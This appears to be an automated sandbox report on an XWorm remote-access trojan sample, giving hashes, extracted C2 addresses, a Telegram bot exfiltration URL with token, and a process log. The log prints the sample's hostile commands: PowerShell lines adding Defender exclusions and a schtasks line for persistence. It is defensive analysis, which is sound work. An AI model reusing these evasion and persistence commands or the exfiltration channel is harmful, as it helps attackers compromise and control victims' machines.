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Analysis
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max time kernel
149s -
max time network
153s -
platform
windows10-2004_x64 -
resource
win10v2004-20240412-en -
resource tags
arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system -
submitted
21/04/2024, 03:08
Behavioral task
behavioral1
Sample
z84jxn2.rar
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
z84jxn2.rar
Resource
win10v2004-20240412-en
Behavioral task
behavioral3
Sample
z842jxn2/z872jxn2.exe
Resource
win7-20240215-en
Behavioral task
behavioral4
Sample
z842jxn2/z872jxn2.exe
Resource
win10v2004-20240412-en
General
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Target
z842jxn2/z872jxn2.exe
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Size
69KB
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MD5
96d20619f6fca9f8ce04ee826bd49a1a
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SHA1
bbbb18c9c4a38dad5ce8cdc4dfc7bced7fa545e7
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SHA256
8df2b4dae2428156b659ae3e080ee5bbb71ef51c26eb90341b23ebce1217ac48
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SHA512
e21ef50bb1a94005ad42047c4f4ecafc5eaf56ff0ca682d79acaa885ed1f50cd1666ac98e7f111ab8879e8957ca982d2143613a12ae554308287cea901da8dca
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SSDEEP
1536:4piY3bmV6IfVQitW8n8aWPbQ40UqlSIgg6vgaOgy6x3c:uV3bmrfVQitX0bQ43IgROgy65c
Malware Config
Extracted
xworm
195.35.2.168:7000
86.29.59.189:7000
72.59.79.119:7000
52.12.52.167:7000
16.39.62.122:7000
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Install_directory
%Public%
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install_file
USB.exe
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telegram
https://api.telegram.org/bot7082635030:AAGxz6qjNlJ3WqLSL0ZicFOCA9YHE32yRzQ/sendMessage?chat_id=6484754327
Signatures
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Detect Xworm Payload 2 IoCs
resource yara_rule behavioral4/memory/3600-0-0x0000000000C40000-0x0000000000C58000-memory.dmp family_xworm behavioral4/files/0x0009000000023391-72.dat family_xworm -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-259785868-298165991-4178590326-1000\Control Panel\International\Geo\Nation z872jxn2.exe -
Drops startup file 2 IoCs
description ioc Process File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\FileExplore.lnk z872jxn2.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\FileExplore.lnk z872jxn2.exe -
Executes dropped EXE 2 IoCs
pid Process 3112 FileExplore 3800 FileExplore -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-259785868-298165991-4178590326-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\FileExplore = "C:\\Users\\Public\\FileExplore" z872jxn2.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 19 ip-api.com -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3512 schtasks.exe -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 3600 z872jxn2.exe -
Suspicious behavior: EnumeratesProcesses 9 IoCs
pid Process 3968 powershell.exe 3968 powershell.exe 4112 powershell.exe 4112 powershell.exe 1032 powershell.exe 1032 powershell.exe 4900 powershell.exe 4900 powershell.exe 3600 z872jxn2.exe -
Suspicious use of AdjustPrivilegeToken 8 IoCs
description pid Process Token: SeDebugPrivilege 3600 z872jxn2.exe Token: SeDebugPrivilege 3968 powershell.exe Token: SeDebugPrivilege 4112 powershell.exe Token: SeDebugPrivilege 1032 powershell.exe Token: SeDebugPrivilege 4900 powershell.exe Token: SeDebugPrivilege 3600 z872jxn2.exe Token: SeDebugPrivilege 3112 FileExplore Token: SeDebugPrivilege 3800 FileExplore -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 3600 z872jxn2.exe -
Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 3600 wrote to memory of 3968 3600 z872jxn2.exe 88 PID 3600 wrote to memory of 3968 3600 z872jxn2.exe 88 PID 3600 wrote to memory of 4112 3600 z872jxn2.exe 90 PID 3600 wrote to memory of 4112 3600 z872jxn2.exe 90 PID 3600 wrote to memory of 1032 3600 z872jxn2.exe 92 PID 3600 wrote to memory of 1032 3600 z872jxn2.exe 92 PID 3600 wrote to memory of 4900 3600 z872jxn2.exe 94 PID 3600 wrote to memory of 4900 3600 z872jxn2.exe 94 PID 3600 wrote to memory of 3512 3600 z872jxn2.exe 99 PID 3600 wrote to memory of 3512 3600 z872jxn2.exe 99 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\z842jxn2\z872jxn2.exe"C:\Users\Admin\AppData\Local\Temp\z842jxn2\z872jxn2.exe"1⤵
- Checks computer location settings
- Drops startup file
- Adds Run key to start application
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3600 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\z842jxn2\z872jxn2.exe'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3968
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'z872jxn2.exe'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4112
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Public\FileExplore'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1032
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'FileExplore'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4900
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C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "FileExplore" /tr "C:\Users\Public\FileExplore"2⤵
- Creates scheduled task(s)
PID:3512
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C:\Users\Public\FileExploreC:\Users\Public\FileExplore1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3112
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C:\Users\Public\FileExploreC:\Users\Public\FileExplore1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3800
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
654B
MD52ff39f6c7249774be85fd60a8f9a245e
SHA1684ff36b31aedc1e587c8496c02722c6698c1c4e
SHA256e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced
SHA5121d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
944B
MD5731e9e4becec0b1ef9caad4b3562d4b4
SHA16dffb77aba4e92ad5bd4b7c02fdee6f328bcd457
SHA25671c7eca538938fa4d5b470fee41cfe43734e9beb9ae409d5b41111fa1a15c2d5
SHA512841cf559ae5b0feec4be43018717641399b3602a553112e98b07d498f1a44169924466abc7e2313b8e8cf1c0fdc1bb7635e2818aab8269b0ef349a0ba0cd6ae5
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Filesize
944B
MD5eb1ad317bd25b55b2bbdce8a28a74a94
SHA198a3978be4d10d62e7411946474579ee5bdc5ea6
SHA2569e94e7c9ac6134ee30e79498558aa1a5a1ac79a643666c3f8922eed215dd3a98
SHA512d011f266c0240d84470c0f9577cd9e4927309bd19bb38570ca9704ed8e1d159f9bea982a59d3eefef72ce7a10bd81208b82e88ef57c7af587f7437a89769adc0
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Filesize
944B
MD54e9501355f9b9c29f3e513dd16bccd0f
SHA1aafec5955d615aebe241e9f4103ead5cbc213b57
SHA256febe8c795e0d64ebcc0f2d2394e58ce20c30a23991c8196c65b604581b5d2fa4
SHA51206d9a546a6a250e86d689fb46c46a6f5df374caab0ad8b7914186b696a8891ba2c0dd4f0e67fdd7f60b539d8b20a44df5fecf792bc15f5e05ebb3d5604afa7ca
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
69KB
MD596d20619f6fca9f8ce04ee826bd49a1a
SHA1bbbb18c9c4a38dad5ce8cdc4dfc7bced7fa545e7
SHA2568df2b4dae2428156b659ae3e080ee5bbb71ef51c26eb90341b23ebce1217ac48
SHA512e21ef50bb1a94005ad42047c4f4ecafc5eaf56ff0ca682d79acaa885ed1f50cd1666ac98e7f111ab8879e8957ca982d2143613a12ae554308287cea901da8dca